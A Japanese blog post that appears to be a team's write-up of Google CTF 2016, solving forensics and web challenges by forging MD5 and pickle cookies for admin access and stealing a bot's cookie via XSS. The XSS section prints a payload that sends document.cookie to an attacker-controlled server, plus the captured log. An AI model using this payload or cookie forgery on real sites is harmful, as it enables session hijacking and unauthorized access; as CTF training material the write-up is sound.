Google Capture the Flag 2016 Writeup
こんにちは.たんごです. 最近はだんだん暖かくなって過ごしやすい気候になりました.
さて天下のGoogle先生がCTFをやるということである意味注目を集めていたように思える今回のCTFですがとりあえず頑張りました(小並感).
我がg0tiu5aは6問を解き(1問はFeedback) 360 pts 250 th でした. 雑魚い結果ですねw
解けた問題のWriteupを載せていきたいと思います.
In Recorded Conversation (25 pts) [Forensics]
IRCの通信をしているPCAPファイルが渡されます.すべて平文でやり取りされていて適当に見ているとFlagがあります.
Flag: CTF{some_leaks_are_good_leaks_}
Ernst Echidna (50 pts) [Web]
Hintには/robots.txt
を匂わせる文が書いてあります.大抵ソースコードが与えられないWeb問を解くときはとりあえず /robots.txt
を見たり, .git
がないかなど調査すると良いかなって感じです.
見ると /admin
の存在がわかります. アクセスしてみると You are not logged in...
といわれます.
仕方ないのでユーザー登録してみます.
すると /welcome
に遷移して何もできなくなりました.そこでCookieを見てみます.
md5-hash:db1bd9a98ea54cefda096688b855de98
ほう.何かをMD5ハッシュ化したものがCookieにセットされていました.今回私は jtwp470
というユーザー名を登録してみたので自分の環境でMD5ハッシュを確認してみます.
$ echo -n "jtwp470" | md5sum db1bd9a98ea54cefda096688b855de98 -
おっ. ユーザー名のMD5ハッシュ値で認証しているガバガバサイトであることがわかりました.そこで admin
の MD5をセットして /admin
にアクセスするとFlagが得られます.
Flag: CTF{renaming-a-bunch-of-levels-sure-is-annoying}
Spotted Quoll (50 pts) [Web]
この問題, はじめはクッキーに入っている値がPythonのPickleの値を直接ロードしているため, シェルを取れるかもしれないなと思いいろいろ試行していました. しかし長いクッキーを送ると500になってしまうことから,PythonのPickleオブジェクトをロードしサーバー側スクリプトで変数を持っているのでは?と考えました.そこで直接Pythonシェルを起動してロードしてみます.
>>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu")) {'python': 'pickles', 'subtle': 'hint', 'user': None}
userの部分がNoneになっているのが怪しいですね.そこでadminをセットしてみます.
>>> base64.b64encode(pickle.dumps({'python': 'pickles', 'subtle': 'hint', 'user': "admin"})) 'KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4='
これを元々セットされていたクッキーと置換し /admin
にアクセスするとFlagが得られました.
Flag: CTF{but_wait,theres_more.if_you_call}
Wallowing Wallabies - Part One (25 pts) [Web]
問題文を読むと途中でこんな文面が追加されました.
Please note Please do not run automated scanners against the target - that's not the intended solution. Instead, perhaps look up "xss cookie catching", "xss cookie stealing" and other documents along those lines. Thanks!
どうやらXSSでCookieを盗むことができるようです.一体どこでXSSするんだって感じですがとりあえず /robots.txt
にアクセスするとなにかURLが貼ってあります.
User-agent: * Disallow: /deep-blue-sea/ Disallow: /deep-blue-sea/team/ # Yes, these are alphabet puns :) Disallow: /deep-blue-sea/team/characters Disallow: /deep-blue-sea/team/paragraphs Disallow: /deep-blue-sea/team/lines Disallow: /deep-blue-sea/team/runes Disallow: /deep-blue-sea/team/vendors
一番最後のURLのみアクセスできました. 書いてある文書を読むと下のフォームにアクセスしたい場所を書けばすぐさまAdminが動かしているBOTくんが反応してくれるみたいなことが書いてあります. つまりこやつからXSSしてキャッシュをパクればいいことがわかります.ですので適当にサーバーを立ち上げXSSしましたw
<script src=""></script> <script>document.location='http://[your_ip_addr]/?c='+document.cookie;</script>
するとサーバー側のログに以下の様なものが残ります.
146.148.94.130 - - [04/May/2016:01:38:44 +0900] "GET /?c=green-mountains=eyJub25jZSI6IjNhNDk4MGQ1ZDFjNmFlNGEiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MjI5MzUyOX0=|1462293526|32144459c6dc76fa907bcc50b3c7eeaa6275faf0 HTTP/1.1" 200 427 "http://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
このキャッシュをセットして再度アクセスするとFlagが得られます.
Flag: CTF{feeling_robbed_of_your_cookies}
For2 (200 pts) [Forensics]
PCAPファイルですがUSBマウスのキャプチャーをしているようです.色々調べているとどうやらBKPCTFの過去問をパクった問題みたいであることがわかります.
write-ups-2015/boston-key-party-2015/school-bus/riverside at master · ctfs/write-ups-2015 · GitHub
ここに載っているWriteupのコードをほぼ丸パクりしFlagを得ました.
最初上記Writeupをそのままパクりましたが以下の様な画像が出てきて読めませんでした.
そこでWriteup一覧にあった writeups/ctfs/boston-key-party-2015/riverside at master · cesena/writeups · GitHub
のRubyコードをそのまま利用して描画した画像が以下です.
おっ読める.
Flag: CTF{tHE_cAT_iS_the_cULpRiT}
まとめ
Google CTF天下のGoogle様が行うやつだから雑魚どもは解けないエグい問題ばかりかと思っていましたが(特にTeaserのせいで)そうでもなかったなというような感じでした.個人的にはこういう相手のクッキーをパクるみたいなXSS問題はなかなか出てこないのでいい練習になりましたw
CTFサーバーがまだ動いているみたいなのでWeb問は1通りWriteupを読みつつ復習していきたいなという感じです.